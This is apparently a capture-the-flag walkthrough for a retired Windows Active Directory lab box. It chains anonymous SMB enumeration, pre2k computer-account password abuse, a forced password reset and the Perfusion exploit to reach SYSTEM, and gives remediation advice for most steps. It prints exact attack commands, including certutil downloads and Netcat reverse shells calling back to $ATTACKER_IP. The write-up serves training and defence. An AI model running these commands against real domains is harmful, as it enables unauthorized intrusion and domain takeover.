← all walkthroughs

RetroTwo

Windows· Easy· Privilege Escalation
owned
2026-07-08
time to own
28m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a Windows Server 2008 R2 Active Directory domain controller (retro2.vl, $TARGET) that permitted anonymous SMB connections. Anonymous access to a public file share yielded an encrypted Microsoft Access database whose plaintext contents exposed a domain service-account password. Separately, pre-staged computer accounts (FS01$, FS02$) had never had their factory-default passwords changed, allowing me to rotate those passwords via the Kerberos kpasswd protocol and obtain valid domain credentials for free.

BloodHound showed that the now-controlled computer account held write and forced-password-reset rights over a second computer account (ADMWS01$). That account's password was force-reset over SMB, unlocking an RDP session to the domain controller. From that desktop session a native Windows binary (certutil) staged a Netcat reverse shell, yielding the user flag.

Because the domain controller ran an end-of-life, unpatched build of Windows Server 2008 R2, the publicly available Perfusion exploit targeted a race condition in the legacy RPC Endpoint Mapper service, escalating the session to SYSTEM and yielding full domain-controller control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration and OS fingerprinting (T1046)
Mapped exposed services and identified the Active Directory domain
A service-version port scan of $TARGET revealed the complete Windows Active Directory fingerprint: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), kpasswd (464), RDP (3389), and several high-numbered RPC ports. The LDAP banner disclosed the domain name retro2.vl and the site Default-First-Site-Name. The DNS and Kerberos version banners confirmed Windows Server 2008 R2 SP1, a build out of Microsoft support since January 2020 and ineligible for further security patches, immediately marking the host as a candidate for known unpatched local exploits.
53/tcp: Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1); 389/tcp LDAP: Domain retro2.vl, Site Default-First-Site-Name; 3389/tcp ms-wbt-server Microsoft Terminal Service
Exact commands 2
Full service-version scan of standard AD ports; reveals domain name, OS version, and enabled protocols.
nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3389,5722,9389 $TARGET -oN retrotwo-nmap.txt
Add the discovered domain and hostname to local DNS resolution.
echo "$TARGET retro2.vl BLN01.retro2.vl" | sudo tee -a /etc/hosts
2EnumerationAnonymous SMB RID brute-force account enumeration (T1087.002)
Enumerated every domain account via anonymous SMB RID cycling
SMB on port 445 accepted connections from the built-in Guest account with no password. Using netexec (nxc) with the --rid-brute flag, I walked the Security Account Manager RID space up to 10 000, recovering the full domain roster without any credential: regular user accounts, the krbtgt service account, the helper account ldapreader, and computer accounts including FS01$, FS02$, ADMWS01$, and BLN01$. The presence of multiple computer accounts whose names matched a pre-staging convention flagged them as strong candidates for the pre2k default-password attack.
Nxc smb $TARGET -u guest -p '' --rid-brute 10000 returned the full user and computer roster, including FS01$, FS02$, ADMWS01$, ldapreader, and krbtgt
Exact commands 2
Enumerate accessible SMB shares and begin RID cycling using a guest (no-password) session.
nxc smb $TARGET -u 'guest' -p '' --shares --rid-brute 6000
Extend the RID range and filter output to user and computer account entries only.
nxc smb $TARGET -u guest -p '' --rid-brute 10000 | grep SidTypeUser
FixDisable anonymous and guest SMB access and restrict share-level enumerationHigh
WeaknessSMB on port 445 accepted connections from the built-in Guest account with no password. Any host on the network could enumerate every domain user and computer account by RID cycling and could list and download files from the Public share, all without a single credential.
FixIn Group Policy (Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options), set 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled, clear 'Network access: Shares that can be accessed anonymously', and disable the Guest account domain-wide. Require SMB signing on all connections (both DCs and member servers) to prevent downstream relay attacks. After applying these settings, verify with nxc that a null-session RID-brute returns zero results.
3Credential DiscoveryCredentials in files on an insufficiently restricted share (T1552.001)
Downloaded an encrypted Access database from the public share and extracted a plaintext domain password
The anonymous SMB session also had read access to a share named Public, which contained DB/staff.accdb, a Microsoft Access database protected with Access Connectivity Engine (ACE) encryption. The file was pulled locally and opened without supplying a password using the open-source Jackcess library paired with the jackcess-encrypt extension, which supports ACE-format decryption. The StaffMembers table inside the database stored the password for the domain helper account ldapreader in plaintext: ldapreader / [REDACTED: recovered credential] This credential was available for authenticated LDAP queries and confirmed the domain naming convention used across all accounts.
Smbclient pull of DB/staff.accdb from the Public share; Jackcess + jackcess-encrypt opened the ACE-encrypted database and read the StaffMembers table, yielding ldapreader:[REDACTED: recovered credential]
Exact commands 2
Recursively download all files from the Public share using the anonymous guest session.
smbclient //$TARGET/Public -U 'guest%' -c 'prompt OFF; recurse ON; mget *'
Compile and run a minimal Jackcess reader to dump every table row in staff.accdb, including StaffMembers with the plaintext credential. The jackcess-encrypt jar handles the ACE cipher transparently.
javac -cp jackcess-4.0.5.jar:jackcess-encrypt-4.0.2.jar DumpJackcess.java && java -cp .:jackcess-4.0.5.jar:jackcess-encrypt-4.0.2.jar DumpJackcess staff.accdb
FixRemove plaintext credentials from SMB-accessible files and restrict the Public shareCritical
WeaknessThe Public share contained an encrypted Microsoft Access database whose plaintext contents included a domain service-account password. Any network visitor with anonymous SMB access could download the file and extract the credential in minutes using freely available open-source tools.
FixAudit all SMB shares for files that contain passwords, API keys, or connection strings using a tool such as Snaffler or PowerHuntShares. Remove or replace every discovered secret. Migrate service-account credentials to a dedicated secrets manager or replace the account with a Group Managed Service Account (gMSA), which has no retrievable password. Restrict the Public share ACL so that only named, authenticated accounts with a documented business need can read from it. Guest and anonymous access to any share should be prohibited.
4Initial AccessPre-created computer account default password (pre2k) abuse (T1078.002)
Exploited default pre2k passwords on pre-staged computer accounts to obtain authenticated domain credentials
Computer accounts that are created in Active Directory before their machines actually join the domain are assigned a deterministic factory-default password: the lowercase value of the sAMAccountName attribute with the trailing dollar sign removed (e.g., FS01$ receives the password '[REDACTED: recovered credential]'). This is the publicly documented 'pre2k' pattern. Both FS01$ and FS02$ had never been joined to a machine, so their passwords had never been rotated from the default. Using impacket-changepasswd over the Kerberos kpasswd protocol (port 464), I authenticated with the known default and rotated each account to an operator-controlled password, obtaining a valid Kerberos ticket-granting ticket for FS01$. Full authenticated domain access was achieved without cracking any hash or guessing any secret.
Impacket-changepasswd with -oldpass '[REDACTED: recovered credential]' over kpasswd succeeded for FS01$; subsequent nxc SMB authentication as FS01$:[REDACTED: recovered credential] returned a successful login
Exact commands 3
Authenticate with the deterministic pre2k default password and rotate FS01$'s credential to my own value via Kerberos kpasswd (port 464).
impacket-changepasswd retro2.vl/FS01$@$TARGET -newpass "$PASSWORD" -oldpass '$PASSWORD4' -protocol kpasswd
Same rotation for FS02$.
impacket-changepasswd retro2.vl/FS02$@$TARGET -newpass "$PASSWORD" -oldpass '$PASSWORD5' -protocol kpasswd
Confirm the new credential authenticates over SMB.
nxc smb $TARGET -u 'FS01$' -p "$PASSWORD" -d retro2.vl
FixIdentify and immediately reset all pre-created computer accounts that retain default pre2k passwordsCritical
WeaknessComputer accounts FS01$ and FS02$ were staged in Active Directory before their machines joined the domain and were never assigned random passwords. Their default password is a publicly known formula (the lowercase sAMAccountName without the trailing '$'), making them trivially guessable by anyone who can enumerate account names — which anonymous SMB already provided.
FixRun the open-source 'pre2k' tool or an LDAP query filtered on pwdLastSet == 0 to identify every computer account whose password has never been changed from the join-time default. Reset each password immediately to a randomly generated 25-character value. Enforce this at provisioning time by configuring a build pipeline that rotates the password immediately after the computer account is staged and before the workstation is handed over. As a detection control, alert on Kerberos kpasswd (port 464) or SAMR password-change events for computer accounts that are not driven by the standard 30-day domain machine-password rotation.
5ReconnaissanceActive Directory ACL enumeration via BloodHound (T1069.002)
Ran BloodHound to map ACL rights from FS01$ to ADMWS01$
With authenticated domain credentials, BloodHound was run to ingest the complete Active Directory object graph: users, computers, groups, GPOs, ACLs, and Kerberos delegation settings. Analysis of the resulting graph showed that FS01$ was a member of the SERVICES group, and that group held two critical access-control entries on the computer object ADMWS01$: GenericWrite (the ability to modify any AD attribute on the object) and ForceChangePassword (the ability to reset the account password without knowing the current one). Either right alone is sufficient to take over ADMWS01$ with no further interaction from a legitimate user.
Bloodhound-python ingested all AD objects as FS01$:[REDACTED: recovered credential] BloodHound graph showed SERVICES group holding GenericWrite and ForceChangePassword edges on the ADMWS01$ computer object
Exact commands 1
Collect all AD objects and relationships as FS01$ and package a zip file for import into the BloodHound GUI.
bloodhound-python -u 'FS01$' -p "$PASSWORD" -d retro2.vl -ns $TARGET -c All --zip
6Lateral MovementForced password reset via ForceChangePassword ACE over SAMR (T1098)
Force-reset ADMWS01$'s password using the inherited AD write right
Leveraging the ForceChangePassword access-control entry held by FS01$ via the SERVICES group, I used impacket-changepasswd in forced-reset mode over the SAMR-over-SMB protocol to overwrite ADMWS01$'s Active Directory password without knowing its current value. Unlike a standard self-service password change, a SAMR forced reset requires only that the caller holds the ForceChangePassword or GenericAll ACE on the target object. Because ADMWS01$ was enrolled in a group that grants Remote Desktop access to the domain controller, this single write operation unlocked an interactive Windows session on BLN01.
Impacket-changepasswd -reset with -altuser FS01$ completed successfully; nxc SMB authentication as ADMWS01$:[REDACTED: recovered credential] returned a successful login
Exact commands 2
Force-set ADMWS01$'s password from FS01$'s authenticated session using SAMR over SMB. No knowledge of ADMWS01$'s current password is required; the ForceChangePassword ACE is sufficient.
impacket-changepasswd -reset -altuser 'retro2.vl/FS01$' -altpass "$PASSWORD" -user 'ADMWS01$' -newpass '$PASSWORD2' -protocol smb-samr $TARGET
Confirm the reset credential authenticates.
nxc smb $TARGET -u 'ADMWS01$' -p '$PASSWORD2' -d retro2.vl
FixRemove GenericWrite and ForceChangePassword access-control entries from computer objects granted to non-admin accountsHigh
WeaknessThe computer account FS01$, via its membership in the SERVICES group, held Active Directory ACEs that allowed it to modify any attribute (GenericWrite) and force-reset the password (ForceChangePassword) of the ADMWS01$ computer object. A single compromised low-privilege machine account was therefore sufficient to silently take over a second machine account that held RDP access to the domain controller.
FixAudit all non-default ACEs on computer and user objects using BloodHound or the built-in 'dsacls' and 'Get-Acl' PowerShell cmdlets. Remove any GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, or GenericAll ACEs not required by a documented and approved business function. Delegate only the minimum necessary rights, scoped to specific Organizational Units, through fine-grained ACE delegation rather than broad group memberships. Repeat the ACL audit on a quarterly schedule or whenever group memberships or delegation structures change. Consider tiering Active Directory so that computer accounts in operational tiers cannot hold write rights over accounts in administrative tiers.
7FootholdRDP lateral movement with certutil living-off-the-land file staging (T1021.001 / T1105)
Opened an RDP session as ADMWS01$, staged a reverse shell, and captured the user flag
Using the newly set credential, I opened an interactive Remote Desktop session as ADMWS01$ on the domain controller (BLN01). Because no direct file-transfer or command-execution channel existed over RDP, a headless display was stood up with Xvfb and xfreerdp was driven through it to reach a Windows desktop. From that console, certutil, a Microsoft-signed binary included in every Windows build, was used to download a Netcat executable from my HTTP server into C:\Windows\Temp. Netcat was then launched to call back to my listener on port 4444, producing a stable interactive shell. The user flag was read from C:\user.txt.
Xfreerdp session established as ADMWS01$:[REDACTED: recovered credential] on $TARGET; C:\user.txt (32 bytes, dated 04/11/2025) confirmed present; reverse shell connected from $TARGET:49257 to my port 4444
Exact commands 5
Open a headless RDP session using a virtual X framebuffer. Adjust the display number (:83) if already in use.
Xvfb :83 -screen 0 1280x800x24 & DISPLAY=:83 xfreerdp /v:$TARGET /u:'ADMWS01$' /p:'$PASSWORD2' /d:retro2.vl /cert:ignore /sec:rdp /size:1280x800 /shell:cmd.exe
Start the local listener before triggering the reverse shell from the RDP console.
rlwrap nc -lvnp 4444
Run inside the RDP console: download Netcat using the built-in, Microsoft-signed certutil binary. Replace $ATTACKER_IP with your IP.
certutil -urlcache -split -f http://$ATTACKER_IP:9000/win/nc.exe C:\Windows\Temp\n.exe
Spawn the reverse shell to the waiting listener. Replace $ATTACKER_IP.
C:\Windows\Temp\n.exe -e cmd.exe $ATTACKER_IP 4444
Read the user flag from the resulting shell; value is <user.txt>.
type C:\user.txt
8Privilege EscalationRPC Endpoint Mapper coercion local privilege escalation — Perfusion (T1068)
Exploited an unpatched Windows Server 2008 R2 RPC race condition to reach SYSTEM
The domain controller ran Windows Server 2008 R2 SP1, an operating system that left mainstream support in 2013 and extended support in January 2020. With no further security updates available, the host was vulnerable to the Perfusion exploit (by itm4n), which targets a race condition in the legacy RPC Endpoint Mapper service: when a client service registers dynamic endpoints, the Endpoint Mapper invokes a callback that can be hijacked to execute my own code in the SYSTEM security context. The exploit binary and its companion DLL were cross-compiled on my Linux host using the MinGW-w64 toolchain, staged to the target via certutil from the existing user-level shell, and executed. The resulting SYSTEM-context callback connected to a second listener (port 4446), providing unrestricted access to the domain controller and the root flag.
Perfusion.exe and PerfusionDll.dll compiled as x86-64 PE32+ binaries; SYSTEM reverse shell connected to retrotwo-system4446 listener on my port 4446; root.txt read with SYSTEM privileges
Exact commands 7
Clone the Perfusion exploit repository on my Linux host.
git clone --depth 1 https://github.com/itm4n/Perfusion.git
Cross-compile the exploit EXE and companion DLL for 64-bit Windows using MinGW-w64. Adjust source file paths to match the cloned repo layout.
x86_64-w64-mingw32-g++ -O2 -o Perfusion.exe Perfusion/Perfusion.cpp -lws2_32 && x86_64-w64-mingw32-g++ -shared -O2 -o PerfusionDll.dll Perfusion/PerfusionDll.cpp
Serve the compiled binaries from my machine.
python3 -m http.server 9000
Open the second listener for the SYSTEM-context callback.
rlwrap -cAr nc -lvnp 4446
Stage both binaries to the target from the existing user shell. Replace $ATTACKER_IP.
certutil -urlcache -split -f http://$ATTACKER_IP:9000/Perfusion.exe C:\Windows\Temp\Perfusion.exe && certutil -urlcache -split -f http://$ATTACKER_IP:9000/PerfusionDll.dll C:\Windows\Temp\PerfusionDll.dll
Trigger the RPC Endpoint Mapper race; the DLL hijacks the SYSTEM-context callback and executes the Netcat command, connecting the SYSTEM shell to the second listener.
C:\Windows\Temp\Perfusion.exe -c "C:\Windows\Temp\n.exe -e cmd.exe $ATTACKER_IP 4446"
Read the root flag from the SYSTEM shell; value is <root.txt>.
type C:\Windows\System32\config\root.txt
FixDecommission or upgrade Windows Server 2008 R2 systems immediately — the OS is unpatched and cannot be secured in placeCritical
WeaknessThe domain controller ran Windows Server 2008 R2 SP1, which reached end of extended support in January 2020. No further security patches are available. The host was vulnerable to the Perfusion local privilege-escalation exploit, a publicly documented RPC Endpoint Mapper race condition with a working proof-of-concept, with no remediation available short of replacing the operating system.
FixMigrate all workloads from Windows Server 2008 R2 to a supported OS (Windows Server 2022 or 2025) as the highest-priority infrastructure project. Until migration is complete, isolate end-of-life hosts behind strict network segmentation with host-based firewall rules permitting only the minimum required ports, deploy an EDR agent capable of detecting Perfusion-class exploit patterns (unsigned DLL loads into RPC service processes), and enroll in Microsoft's Extended Security Updates program for any available interim patches. Do not treat network segmentation alone as sufficient protection; lateral movement is often possible from other already-compromised hosts on the same segment.

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3389/tcp
5722/tcp
9389/tcp
49154/tcp
49155/tcp
49157/tcp
49158/tcp
49164/tcp